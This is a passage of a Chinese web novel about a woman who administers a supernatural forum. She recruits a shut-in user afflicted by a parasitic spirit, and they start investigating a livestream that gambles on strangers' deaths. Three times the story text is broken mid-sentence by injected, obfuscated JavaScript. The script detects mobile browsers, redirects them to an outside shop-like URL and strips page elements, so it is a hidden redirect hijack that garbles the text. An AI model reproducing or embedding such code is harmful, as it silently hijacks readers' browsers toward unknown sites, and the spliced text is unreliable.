“虽然刷帖的时候倒是看别人偶尔提到过,但是这个功能好像几乎没有人用,话说在诡异论坛上能直播什么,撞诡实录吗?” 众人忍不住回想了一下在迷雾公路的经历,这哪来的闲心直播,难怪这个功能被用的少。 比起这个暂时不太清楚用法的直播间,季青还有一个在进入迷雾公路没多久的时候就非常在意的事情: 当时在瓠犀高速收费站,她在诡异论坛搜索了相关的内容,其中有一篇帖子的内容和她的猜测十分接近,后面也证实了帖子中写的内容基本正确,但…… 【瓠犀高速收费站印章分析(含考据)】 这篇帖子在被季青动用管理员权限对帖子中的内容和帖子本身进行核实之前,怪谈状态栏写的是【暂未核实】! 怪谈状态的核实只有两种途径,一种是季青这样的管理员利用论坛底层权限能力核实,另一种就是由普通用户亲身经历核实。 也就是说,这篇帖子的发帖人,并未来过迷雾公路,却只通过别人发布的那些支离破碎、看起来毫无逻辑的怪谈帖子中的信息,差不多还原了瓠犀高速收费站的逻辑和基础规则,甚至能够给出考据! 从接触到这个诡异论坛以来,季青第一次深刻感到了自己所知的渺小……即使她拥有独特的管理员权限,但她的认知,恐怕还在一些经验丰富的用户之下。 她有种急切的景愿——一种想要知道更多的渴望! 季青输入关键词找到那个帖子: 标题:【瓠犀高速收费站印章分析(含考据)】 发帖人:不落木 IP:A市发帖时间:2024年9月9日 版块:#地缘怪谈#考据党#怪谈猎人#规则推测 怪谈状态:核实存在 她尝试点击对方的用户名,出人意料地,对方的等级居然恰好也是lv.4,并不高于她。 对方的主页都是各种关于不同怪谈的猜测和考据,最近发帖日期甚至就在今天,这是个很活跃的用户! 季青在向常岚确认,普通用户并没有互相私信的功能之后,冒险用自己的管理员账户,向这个昵称不落木的人,发出了她的第一条私信。 38. 不落木(二) 季青向不落木发出私信没多久,太阳就渐渐从地平线升起,空气中属于夜晚的阴冷也缓缓消散,几人懒洋洋地坐在路边商量着怎么回去。 直到季青点开打车软件打了一辆网约车,余子夜才恍然大悟般转过头看向江大河: “我差点忘了我们是怎么来的了,老江,你的车!” 江大河叹了口气:“居然现在才有人想起来……乖侄女,你丢的是视频,舅舅丢的可是饱经风霜,并肩作战多年的爱车,我现在都不知道该怎么找保险公司报销。” “这不是视频的事!”余子夜伸出手非常激动地比划了起来: “我可是日更主播,虽然出发之前就做好了录播定时发布,但我本来是信心满满,以为这次肯定能挖到大新闻,连做好几期节目的,这下打水漂了!手里也已经没有其他存稿了……” 余子夜抱头痛呼:“现在两手空空地回去怎么办啊,岂不是要断更了!” 其他三人齐刷刷地扭过头看过来,嘴上也没饶过她: “几天不更新没关系的,反正底边作者的更新也没人追着看。” “你们——!” 就在余子夜站起来、撸好袖子、作势挥起拳头准备“发飙”的时候,一辆白色的网约车停在他们身边—— 司机震惊的脸随着车窗的下降缓缓露出,和余子夜四目相对: “呃,请问是尾号5091的……” “是。”季青率先站起来拍了拍身上的灰尘,把愣在原地的余子夜拉上车,“走吧,大白天的怪谈也不会自己冒出来,晚上我也来给你找找素材。” 余子夜像是为了掩饰尴尬,麻溜地爬上车,回头望着季青的眼神突然变得闪闪发光:“真的假的?季老师你该不会只是在安慰我吧。” 季青把车门轻轻带上,还不忘安慰余子夜:“真的真的,现在还是回家好好休息,想想今晚怎么更新吧。” 网约车在晨光中从郊区驶向A市城区,遥远的地平线上是连绵的丘陵,云雾萦绕其间,在阳光的映照下显出淡淡的青色。 季青靠在后座,忍不住想。 A市真是非常美丽的城市,又美丽又残酷。 季青把网约车的下车地点选在了A大,毕竟四人住的地方离A大都不算远,和两人打完招呼,余子夜就和江大河先行离开了。 身后就是A大附近的小吃街,常岚悄悄挪到季青身边,提议要不一起吃个早饭再回去休息。 没有哪个A大的学生能拒绝这条小吃街! 作为助教老师的季青也不能,飘来的饭菜香味实在太诱人了……! 两人迅速找了一个本地小有名气的面馆吃早饭,就在常岚心情愉悦地掰开一次性筷子的时候,季青看到了从他袖子下露出的红绳—— 季青马上想到了升级页面的提示: 势力关系提升:[凝真观-羁绊]您与凝真观当代传人常岚建立了特别的羁绊关系,血色之线将牵引他要去的方向。 季青低头看了一下挂在脖子上的红绳,突然开口问道: “常岚,在服务站的时候,你是怎么知道我在那个‘酿造之间’的?” “啊?”常岚一筷子面条还没进嘴,就这样悬停在空中。 季青没打算给他糊弄过去的机会,干脆放下了筷子:“你是倒数第二个被‘经理’分配工作的,知道其他几个人去了哪里不奇怪。” “可我才是最后一个离开的,你是怎么知道我在那个房间?” 常岚深吸一口气,闭上眼睛,仰起头思索了一会,似乎在想怎么跟季青解释,但很快他就放弃找什么理由或者借口了—— 大概率会被季青看穿的。 他捋起袖子,将手腕上的红绳取下,递给季青,就在季青接过红绳的那一刻,两条红绳竟然微微浮空,仿佛在相互呼应。 常岚用手托着下巴,准备坦白: “季老师听说过‘青蚨’这种妖兽吗?” 作为A大民俗学的助教,季青接触过大量神怪传说,而青蚨钱作为一种堪称广为人知的神怪传说,季青当然也有所了解。 在传说中,青蚨具有一种特性,母青蚨和子青蚨的血液具有紧密的联系,如果将母子青蚨的血分别涂在钱币上,花出去的钱还会为了找到对方飞回来。 季青将常岚的那截红绳还给他,问道:“所以这个红绳是青蚨的血做的,能定位我在哪?” “没有那么神,在离得比较远的时候,它需要强烈的灵异波动才能起反应。” “简单来说,只有在你被卷进引起剧烈反应的怪谈中时,它才会提醒我,是一种紧急安保措施,平时就和普通的红绳没有两样。” 常岚接过红绳,没有马上戴回去,而是放在手中摩挲着。 话只说了一半,还有一半没有坦白—— 用来制作红绳的并不是青蚨的血液,而是常岚自己的血。 心思在嘴里打了个转,还是瞒了一半下来,开口又是不痛不痒的话: “虽然我不擅长道法咒术,但是这个确实是在吕祖面前开过光的,只要我在,包您平安啊季老师!” 看着举起手信誓旦旦作发誓状的常岚,季青只是微微笑了一笑: “吃早饭吧,面都要泡涨了。” 接吃完早饭和常岚告别的季青,终于度过了这个暑假以来最平静、唯一没有被莫名其妙的怪谈打扰的一天—— 整整一天完全是睡过去的。 等季青醒来的时候,太阳早就落下去,这一天已经要过完了。 季青扶着脑袋从床上坐起来,外面的月亮大得惊人,让她感觉有点恍惚。可一声从手机上传来的、不熟悉的提示音打断了她难得放空的思绪。 “叮铃——” 宛如铃铛般的脆响,这声提示音的回声在卧室里反复跳跃,迟迟不肯散去,好像从虚空而来。 她从床头柜上捞过手机,最上方的消息提示栏显示“您有一条来自网页的信息”。 这下季青完全清醒了,她还是第一次接收到来自诡异论坛的消息! 迅速点进论坛网页,右上角用户名的旁边出现了一个小铃铛的图标,上面标记着一个红色的小点,和普通软件的消息提示差不多。 季青打开灯,捋了捋有些凌乱的长发,在起身接水的路上点开了消息栏。 发来信息的人就是不落木。 季青就靠在餐边柜上,一边喝水一边回复消息。 和不落木聊天相当舒坦,一点多余的废话都没有,季青这杯水还没有喝完,谈话就结束了。 【不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611365|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落木】:合作愉快,明天下午三点见。 【管理员02-季青】:好的。 季青还差点手快打成“收到”,上班到底是害到她了,被班味腌入味算不算工伤? 接着她打开了微信,给余子夜发了消息: 【余大记者,更新有救了,给你送素材,明天下午老城区集合。】 江大河要值班抽不开身,第二天季青、常岚、余子夜三人准时到老城区集合,兴冲冲拿着摄像机的余子夜,还没进小区门就已经拍上了: “好诡异的地方!这个楼房本身感觉就能做一期专题啊!” 季青也抬头望向小区门口的路牌,反复确认这就是不落木给的地址。 这里……明明完全不像有人住的样子。 这栋楼房藏在小区不起眼的角落,老城区绿化一般,可唯独这座楼房被大量树木环绕—— 数棵巨大的树木盘更错节,扭曲的枝干向楼房攀援延伸;浓密的枝叶层层叠叠,几乎遮蔽了低层所有的阳光;无数藤蔓像巨网一样将外立面包裹…… 所有植物好似都在向着楼房的高层绞杀而去,这座楼房,仿佛是被植物“绑架”了。 多亏了季青管理员的身份,不落木同意考虑合作,但他提出必须由季青在白天过来见面。 白天见面可以理解,毕竟在A市,夜间是怪谈活跃的时段,据不落木所说确实存在利用怪谈的怪谈猎人,白天见面对双方的安全都是保障。 可如果从安全性考虑,为什么不是选在公众场合见面,而是在这种地方? 季青扭头看了一眼常岚,带上道长当保险果然是对的! 三人围着这个楼房转了一圈,幸好通往单元门的路没有被覆盖,看样子经常有人走过,单元门也并不难找,按照不落木给的地址,他们坐着电梯上了顶层。 进电梯的时候季青就注意到,虽然电梯看起来年纪也不小,楼层按键多多少少都有点磨损,可只有顶楼的按键被磨得几乎已经看不清数字。 这栋楼,该不会只有不落木一个人住吧……? 猜想很容易就被验证,到达顶层出了电梯之后,几人都注意到,只有一间房屋的门是干净整洁的,其他两户的门上都布满灰尘,连对联都掉色脱落了。 提出要合作的是季青,季青快走两步,率先来到不落木的家门前,深吸一口气,正准备敲门的时候—— “吱呀——” 门打开了。 一个留着长发、戴着眼镜的瘦削男青年打开了门,他微微侧身,给大家留出进来的空间。 “欢迎,我是不落木。” 即使主人已经发出了邀请,三人还是站在门口,一时间不知道该不该进去。 即使是夏天的下午,即使是在顶楼,这个房间也昏暗异常。 目之所及的地方,全部都被符纸密不透风地贴满,每一面墙、每一扇窗都贴得密密麻麻,连原本的墙体都看不到。 这些符纸看起来有些年头,边角卷翘干枯破碎,朱砂画的符咒在阴影中泛着冷红,从门口进来的风,将一些符纸吹得飒飒作响。 这种活像棺材一样的地方,谁敢进啊?! 不落木看三人没有进来的意思,苦笑一声,再次幽幽开口: “请进……” 39. 不落木(三) 直到不落木说出请进,门口的几人才意识到他们已经愣在门口有一小会儿了。 季青做了一个深呼吸,向不落木那边微微欠身,说了一句:“打扰了”,便率先迈入门槛,她步伐稳健,目光却快速扫过室内每一个角落。常岚和余子夜对视一眼,也紧跟其后。 直到三人都走进门内,不落木才缓缓关上了门,季青这时候才注意到,居然连大门的背后也贴满了书写着暗红符咒的符纸。 在门关上的此刻,不落木的房间仿佛一个被符咒构筑的、密不透风的囚笼。 “看起来很可怕是不是,每个第一次过来的人都很惊讶。”不落木显然已经习惯了客人不自然的表情,他带着大家走到客厅的沙发坐下,接着一边转身去给几人倒早就准备好的柠檬苏打水,一边还不忘自嘲: “或者说害怕吧,不知道是怕这个房间还是怕我。” 不落木把提前冰镇好的柠檬苏打水摆到几人面前的茶几上,他的手指修长且极为苍白,竟然在玻璃杯上映出隐隐的绿色。 余子夜发挥了她社交恐怖分子的本色,率先端起杯子喝了一大口,试图打破有些微妙的气氛: “哇,冰镇的!谢谢!所以……您家里‘布置’成这样,是有什么特别的讲究吗?” 她问得很直接,眼神里充满了求知欲。 说完,她好像才突然意识到什么一样,装作心虚地捂住嘴巴:“第一次见面就问这些是不是不太好……不好意思啊……” 季青赶紧喝了一口苏打水压制自己抽动的嘴角—— 余大记者就是这样,想要知道的事情一定会先问出口才行,不管用什么方法。 季青望着不落木,补充道:“我们无意探听隐私,但适当的彼此了解是合作的基础。” 她的话温和,却带着一丝较真。 不落木推了推眼镜,镜片后的目光沉静如水,没有丝毫被冒犯的感觉: “我无意隐瞒自己的信息,只不过在正式谈合作之前,我需要确认,你们是否具备‘处理’我这类问题的能力。” 他顿了顿,语气带着一丝不易察觉的审视,“论坛等级只是一个凭证,能否达成合作,还得有更多考量,对吧?” 常岚将目光锁定在不落木身上,缓缓开口:“能力需要验证,见识可以交流,不妨先说说你的‘问题’?” 说着,不落木蹲下身,在众人不解的目光中缓缓卷起裤脚—— 泛着诡异绿色的、像某种植物一样的半透明“叶芽”缠绕在他的脚踝和小腿上,连血管都透出青褐色的“叶脉”。 余子夜赶紧放下手中的玻璃杯,下意识想要去摸放在旁边的摄像机,却被季青轻轻抓住了蠢蠢欲动的手。 “这是?”季青望向常岚,常岚托着下巴,很快给出了回答:“是地缚根,一种寄生在人身上的灵。” 常岚抬头环顾了一下房间里贴得到处都是的符纸,“不过被这个东西寄生的人,没有几个能活下来。” 他向墙壁上的符纸伸出手去,符纸虽已经破旧不堪,但上面红色的符咒依然有熟悉的元炁涌动。 不落木叹了口气,苦笑了一下。 这个贴满符咒的房间,与其说是他的囚笼,倒不如说是他最后的栖身之所。 小时候不落木将自家病死的小黑猫埋在在老家门口的老槐树下,在那当晚,他就做了一个梦: 已经被他入土为安的小黑猫喵喵叫着,从他房间门口开始,一步一停,引着他走向老槐树下。 就在他走到老槐树下,被一股神秘的气息吸引住,用手扶住老槐树的瞬间,四周突然陷入黑暗,而脚下则出现了一道缓慢流动的绿色光点组成的“河流”,老槐树无风自动,树叶发出飒飒的响声,一瞬间他感到天旋地转,昏死过去。 再醒来时,他的脚已经几乎和土地“长”在一起,树木一样的气根和枝叶从他的腿上生长出来,扎进老槐树下的泥土。 被吓坏了的父母先是找来医生,可普通人根本看不见这奇异的枝干,父母又在街坊邻居的建议下请来各路高人,各种手段都尝试过,但最多也只是将他从泥土里“拔”了出来,并没能根治这个诡异的“病症”。 那仿佛来自异世的枝丫汲取着他身上的营养,使他高烧不断,严重时连枝叶茎秆、甚至树根也会从他身上缓缓长出,企图钻进泥土,将他”种“在地里。 “后来一个道士听说了这件事,兴冲冲跑来找到我家,说关于地缚根的资料很少,但他有办法救我,一定要亲自过来看看,还想把这件事记录下来。” 不落木也抬起头环顾着贴满房间的符咒,继续往下说:“那位道士告诉我,要远离泥土。让我父母搬家到楼房里,楼层越高越好。” “如你们所见,我现在就住在顶楼这个贴满符咒的房间里,虽然还不知道到底是什么原因,但只要不离开这个房子,这个东西就会被压制住,至少不再危及性命。” 不落木伸出十指,向众人比划:“十年了,我一步都没踏出过这里。” 季青微微前倾,双手捧着玻璃杯,问道:“所以,这就是你在私信中,想要找我们帮忙解决的怪谈?” “对。”不落木苦笑了一下,“如你所见,我根本出不去,更谈何亲身解决这个怪谈呢。” 不落木这些年并不是没有尝试过自救,他查询了很多资料,可除了从救他的道士那里听来的“地缚根”这个莫名其妙的名字,其他毫无头绪。 不过坚持不懈的搜索也不是没有进展,直到有一天,他发现了这个诡异论坛,并在这个论坛看见了很多人发布的奇闻轶事,甚至有着解决怪谈的记录。 被怪谈寄生的他,自然而然有着注册资格,于是他化身“不落木”,开始了在论坛的探索。 可他很快就明白这个论坛限制颇多,几乎可以说是等级至上主义,但获取大量经验升级的方式几乎只有“核实”或者“归档”怪谈。 他连门都出不了,更遑论当一个怪谈猎人去主动升级了。 于是不落木另辟蹊径,利用他这些年收集和整理资料的经验,在论坛中寻找他能够发现一些蛛丝马迹的帖子,对其中的规则和内容进行猜测,然后将帖子发布出去。 这样,每当有其他用户核实到他猜出的部分,甚至“归档”怪谈时,他便可以分到一点点经验,他进入这个论坛几年,才堪堪通过这种方式升到lv.4,并且卡在这一级很久。 方法被动,宛如等待吸收土壤中腐烂生命的植物,但这已经是他能做到的主动升级的唯一方式。 “我一直想要找一个会主动狩猎怪谈的怪谈猎人,组成搭档,由我来提供信息和猜测,对方进行狩猎,共享经验。”不落木给几人续上了柠檬苏打水。“但是这个论坛只允许发布怪谈相关的信息,所以这件事也就一直无果。” 直到昨晚,季青给他发来了私信,他的机会来了。 “不过我还是第一次知道,这个论坛居然能私信。” 季青保持镇定,微微一笑—— 好巧哦,她也是才知道。 而且不落木的提议非常理想化,季青迄今为止遇到的怪谈,除了凝真观门口那个自动售货机,其余都是相当可怕,收割过无数人命的狠角色。 想要在这种情况下互相结成搭档,双方都必须拿出足够的诚意——或者说,利用价值,这才可行。 在论坛里,等级就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617636|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是实力的体现,虽然lv4已经在普遍lv0-lv2的用户群里鹤立鸡群,但在亲眼见证对方的实力之前,谁都不能确定对方是否有合作的价值。 正因为有这样迫切的需要,和自身根本无法离开方寸之地的特性,不落木才提出要在家中和季青他们见面。 季青当然是有备而来,她用手肘悄悄顶了一下常岚:“常道长,既然你能叫出这个地缚根的名字,那一定知道点其他的什么吧?” 常岚扶额露出苦笑:季青和他都已经猜到那个救了不落木的、爱管闲事的道士就是自己的师父清正道长。关于地缚根的信息,还是师父告诉他的,而师父了解到的信息,估计也就来源于不落木。 完美的闭环,根本没有留给他任何发挥的空间! 但常岚还是向不落木坦白了自己清正道长弟子这个身份,企图获取信任,只不过关于寄生在不落木身上的这个地缚根,他确实没从师父那里得到更多信息。 不落木面上神色平静温和,没有说什么,但季青很明白,这个人的信任大概没有那么好取得。 季青轻轻揉着眉心,虽然清正道长也没有解决地缚根的方法,不过有一个信息,清正道长肯定不知道也没见过—— 那就是地缚根这些年的变化。 准确来说不是地缚根的变化,而是不落木所处的这片区域的变化。 季青抬起头,望向不落木:“你说十年你都没有出过门,那你应该也没注意到楼下的情况吧?” 果然,不落木的脸上首次出现了一丝有所波动的神情。 “楼下出现了什么情况?” 余子夜先反应过来,若有所思地说:“季青说的大概是树?你家楼下的树都快长疯了。” 只有楼下的树木生长即为疯狂,甚至可以说是在朝着某个目标极力伸展——它们的目标,可能就是不落木,或者说,是寄生在他身上的地缚根! 常岚歪了歪脑袋,闭上眼睛思索了一会,再睁开眼时,漆黑的眼眸仿佛无底的深渊一样,不知道在看哪里,他也说出了自己的推测: “我觉得,师父让你远离的应该不是泥土,而是大地本身。” “你当时做梦看到的‘河流’可能是地脉,是地底流动的能量,地缚根寄生在人身上,但如同其他需要寄生的动植物一样,成熟之后终究要进入到下一个循环。” 常岚再次伸出手,感受着符纸上的元炁流动,虽然他不擅长道法咒术,但这些知识他也没少听师父讲授。 “这些符纸的本质,是隔绝地脉的气息的屏障,让地缚根寻找不到地脉所在,自然进入了休眠状态。” 他转而用手指指向地下:“但地脉似乎并未完全放弃。楼下的植物疯长,极可能是受到汇聚于此的地脉能量影响,它们被你这‘未完成的循环’所吸引。” 不落木完全愣住了,接着脸上露出久违的喜悦—— 这现象,是他独居于此十年,绝无可能自行发现的。 双眼看得再清楚,也需要双腿带着他去扩展视野,回应季青的私信果然是正确的选择! 季青捕捉到了不落木喜悦的神情,放下玻璃杯趁热打铁:“我们可以合作调查地缚根的根源和解决办法,帮助你离开这间屋子。” “作为交换,我们希望你能共享你这些年积累的所有关于A市怪谈的考据、推测和信息网络。” 不落木看着季青,又看了看常岚和一脸期待的余子夜,终于缓缓点头:“很公平。” 他放下玻璃杯,身体微微前倾,整个人的气场从之前的疏离戒备,变得认真而专注。 “那么,我也会展示我的诚意。” “你们想知道什么?” 40. 谁捡了我的手机(一) 季青最想知道的信息,其实还是关于A市本身的。 这个城市究竟隐藏着什么样的秘密,到底是什么样的东西将在场的所有人联系起来?这些想法如同阴云一直笼罩在季青心头。 而季青自己也隐隐觉得,自己的身世,或许就藏在这些不可言说的怪谈传奇里面。 她也在论坛中用自己的管理员权限搜索过A市,可不管怎么换相似或者擦边的关键词,都会被提示权限不足。 联想到她曾经搜索跟自己有关的心巢孤儿院怪谈时,都被警告异常关联,差一点错失得知真相和护身符的机会,季青暂时也不敢在论坛中进行更深层次的挖掘。 所以她今天并不打算向不落木提出可能会让他为难的问题,不落木虽然是论坛老用户,可由于他无法亲自去核实怪谈,所以获取的经验有限,至今和季青、常岚一样都是lv.4,不太可能能接触到连季青这个管理员都被排斥在外的核心信息。 她需要更扎实的立足点。 季青微微前倾,双手交叠放在膝盖上,目光专注地看向不落木: “我首先想要更了解将我们联系在一起的,这个我们共事的‘平台’——关于这个诡异论坛本身,你知道多少?什么类型的内容都没关系,哪怕是类似哪种帖子比较热门都可以,我需要更多的信息。” 余子夜和常岚默默给自己续上柠檬水,以他们俩的兴趣其实更想问一些奇闻轶事和怪谈,但他们也明白,季青的考量是战略性的,了解战场对他们接下来狩猎怪谈的计划来说十分重要。 这种时候默默支持就好了! 不落木低头推了推眼镜,轻轻嗯了一声,似乎对季青的提问并不意外: “我明白你的意思,让我想想从哪里开始说起比较好。” 首先是诡异论坛的出现在其他人手机里的规则,这和A市瓠犀高速收费站那个印记的逻辑差不多,对诡异现象越敏感的人,越容易被推送帖子。 这个帖子大概真的是鱼饵,因为大多数被推送帖子的人,通过帖子接触到真正接触到诡异之后,就拥有了注册成用户的资格,当然也有不落木这样,先是接触到了诡异,再了解到论坛的人。 不落木对这个论坛本身也很感兴趣,倒不如说,像他和季青这样有旺盛求知欲的人,不试图了解这个论坛才不正常。 他靠在椅背上,环抱手臂,手指有节奏地点在手臂上,再次缓缓开口: “我尝试过追溯论坛的源头,但所有的线索几乎都被等级权限拦住。不过这个论坛的结构非常奇特,就像普通的网页一样,它是有人进行更新和维护的。” 坐在他对面的三人眼睛都瞪大了,他们三个接触论坛的时间都很短,余子夜更是前几天才注册,根本没有经历过论坛的“更新和维护”! 不落木眉毛上挑,露出一个属于“老用户”的意味深长的微笑,继续解释: “我见过最早的帖子,发布时间是在十二年前,他有迹可循的历史并不长。” 早期的帖子分享十分混乱,更像是一种纯粹的都市传说分享地,后来才逐渐出现了“核实”、“等级”这些系统性的概念和规则。 季青深吸一口气:“你的意思是,有某种力量在建设论坛,有意地逐步在对A市的诡异进行梳理和规范?” 不落木点点头:“就像你拥有的管理员权限,恐怕也是这个系统演化的一部分。不过,普通用户甚至不知道管理员的存在,既然你是管理员02,那么至少得有个管理员01吧,但是我完全没有听说过这回事。” “至于更容易被了解的用户……” 不落木拿起旁边的平板电脑,调出一个文档,“你也知道,用户信息是被保密的,但我通过这段时间刷的帖子,整理了一些活跃用户,换个毕竟新潮的说法,呃,大概可以称之为论坛大神?” 他滑动屏幕,展示出几个ID和他整理的简要记录: 首先是【凝真观-清正】 “这位就是帮我的道长,也就是你们的师父。他算是论坛最古早的一批用户,知识渊博,尤其擅长那些有民间传说或者被古籍记载的妖兽怪谈。” “但他有个习惯……”不落木无奈一笑,“他喜欢用惊悚的标题吸引眼球,比如一定不要xxxx,否则……,如果你xxx,那么……。点进去之后才发现是大篇幅的怪谈故事,最后才在结尾轻描淡写地给出一点真正的解法和警告,比起记录怪谈,好像更喜欢讲故事,堪称论坛标题党元老……” 季青和常岚双双扶额,这两个人都是受害者,常岚抹了一把脸,一脸“我就知道”的表情: “师父他,确实这样的……” 不落木将文档接着往下翻: 下一个,【佚名】 “这是个需要小心的人。”不落木语气严肃起来,“和大多数用户对怪谈避之不及或者好奇的态度不同,这个人是少数觉得人类能够利用怪谈的人。” 他发布的帖子看似是怪谈经历分享或者分析,但继续往下看就能发现其实是在给自己打广告,他会利用怪谈制作和兜售一些商品,定价离奇飘忽不定,据说效果货真价实,清一色的好评。 “大概是因为想要给差评的人已经没有机会了吧。”季青皱起眉头,语气难得严肃起来。 “我怀疑这个人,用怪谈伤害了我的学生,差点置人于死地。” 常岚震惊地扭过头:“你是说周晓琪?那个叠影是她买到的商品?” “对。”季青的手紧攥着衣服下摆,轻咬着下唇:“我当时看到那个帖子的发布人是【佚名】,还以为是匿名发帖,原来这个人的论坛昵称就叫【佚名】,太大意了!” 余子夜咂舌:“灵异版本的消费陷阱!以后我要做一期专题曝光奸商。” 之后不落木又简要介绍了专注于探索A市物理空间与怪谈重叠区域的【城市探险家珂小珂】、喜欢记录和实践各种灵异电影套路的【Leon】等等几个论坛中较为活跃的高等级用户。 不落木提供的信息让季青几人确实少走许多弯路,摸着老用户过河的感觉相当好,显然这个论坛并非完全无序的黑暗森林,里面也有着不同的生态位和生存法则。 “谢谢你的信息,那么,合作就从现在开始吧。”季青举起装着苏打水的玻璃杯,尝试向不落木再次递出橄榄枝。 常岚和余子夜看季青举杯,也赶紧举起自己的玻璃杯,看到不落木并没有反感,余子夜开心地宣布:“从今天开始我们就是一伙人啦,欢迎加入我们的捉诡小队!” 不落木也拿起玻璃杯,和几人轻轻碰杯:“干杯。” 放下玻璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630778|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杯的季青马上直入正题:“小队刚成立,也许我们需要一个简单点目标来磨合磨合。” “既然新解锁了直播功能,或许我们可以从这里入手?不落木你以前看过直播吗?” 直播确实是观察怪谈实时动态的绝佳窗口,但能够主动开启直播的,估计是极度自信的猎手,可遇不可求。 回想到自己几次死里逃生的经历,季青自认自己是不可能有余力开启直播的,这是个观察论坛中强大用户的好机会。 不落木叹了一口气:“还记得我之前说的吗,论坛是有人进行维护和更新的,这个直播其实是近期才更新的新功能,所以才只对lv4以上的用户开放。” 季青轻轻揉了揉眉心:“也就是说,你也没有看过直播?” 不落木摇摇头:“不,我看过,虽然是新功能,但对这个新功能感兴趣的用户相当多,我也不例外。” “功能才开放,就有人进行了直播,只是风格很……恶劣。” “它不像普通探索,更像是有组织的死亡赌博。” 季青等人立刻被不落木的这番话吸引了注意力。 不落木闭上眼睛回忆着自己看到的直播,尽量简约地转述给其他几人—— 直播画面背景多是夜晚的公园、小巷等公共场所,主角往往是些看起来普通的人,他们手持一部款式相同的手机,表情惊恐万状,而直播界面则清晰地显示着两个刺眼的赌盘选项:【流转成功】与【处刑秀】,下方还有不断累积的数字,显然是赌注奖池。 “规则似乎是捡到被诡异附身的手机,便会被强制绑定为主播,然后在限定时间内,必须诱骗下一个人心甘情愿地接过手机,否则就会被处死,直播间就以此设赌。” 不落木语气带着厌恶,“这种将普通人的生命当做赌注赚钱,这种做法在论坛用户中也引起很大争议,但直播间是新功能,还是有很多人好奇参与,局势有点不可控。” “太残忍了……”余子夜皱紧眉头,但职业本能又让她无法不关注这个事件。 常岚漆黑的眼眸里也难得露出厌恶的神色:“单纯在利用怪谈和人性之恶进行取乐和牟利。” 季青深吸一口气:“就从这个恶意直播间开始吧,今晚开始我会关注,我们需要更直接的联系方式,方便同步信息。” 几人交换了微信和论坛昵称,不落木看到季青的“管理员02-季青”、常岚的“凝真观-常岚”以及余子夜的“子夜异闻余子夜”时,忍不住推了推眼镜,吐槽道: “这年头还有人实名上网,坦荡得令人意外。” 几人面面相觑,耸了耸肩,转而看向“不落木”—— 是谁不合群我不说。 太阳即将落下,约定好保持联络后,季青三人离开了那不落木那间被符咒包裹的“安全屋”,直到季青回到相对正常的公寓,紧绷的神经才稍稍放松。 然而,就在当晚,季青刚整理完从不落木那里得到的信息,准备休息时,她的手机里新组建的微信群突然震动起来。 消息来自不落木。 他什么也没说,只是分享了一个直播链接,标题鲜红的大字格外吸睛—— 【厄运直播进行中!】 【绝望出租车司机的最后一夜!赌盘已开,榜一有权指定死法!】 41. 谁捡了我的手机(二) 季青注视着直播标题的鲜红大字,和不落木说的一样,这场直播并不是什么捉诡高人的经验分享。 而是将恶意明晃晃地摆在台面上,用极度的猎奇来吸引观众的血色直播。 很快,群里的其他人也看到了不落木发在群里的信息,七嘴八舌地讨论开,刷不过来消息的余子夜干脆开启了群通话,拉大家一起边看边讨论。 季青也打开笔记本电脑进入论坛直播间和群通话,还顺手泡了一杯从凝真观顺来的茶。 一连上群通话就听见余子夜元气满满的嗓音: “哎,小季青来啦!这下人都到齐喽!” 今晚的直播还没开始,趁着直播开始倒计时的功夫,不落木在语音里给大家重新说了一下这个直播间上次的直播情况。 “咳咳,开直播的主播叫【惊悚片导演】,后面我就简称【导演】了。” 导演的直播内容非常简单,他会将一部诡异手机随机扔在公园、车站、商场等公共场合,有人将手机拿走之后便可以开始下注,选项只有两个,即【流转成功】和【处刑秀】。 “等等!”余子夜疑惑的声音从耳机里冒出来,“这个赌盘的选项怎么这么模糊,【流转成功】和【处刑秀】分别是什么意思?” “字面意思。”不落木窝在沙发里,回忆着自己看到的部分直播内容,为其他几人解释: “我记得导演一开始的说明是,要给捡到东西却不归还的坏人一点惩罚。” 所以便有了【处刑秀】这个选项,即捡到手机的人在天亮前依旧将其据为己有,那么这个“坏人”就会被处刑。 而与之相对的【流转成功】这个选项,也就是没有将手机据为己有,而是流转给了下一人,参与者自然不用受到惩罚。 直播间的这两个选项便是给观众下注的赌盘,观众们押注猜测捡到手机的人今夜的下场,成功猜对的一方将按投注比例分享失败方的赌资,并且其中投入资金最大的榜一,将可以定制【处刑秀】的死法。 常岚发出不解的声音: “既然是为了惩罚将失主物品据为己有的坏人,那如果手机一直被还给失主怎么办,就一直假装丢手机吗?” 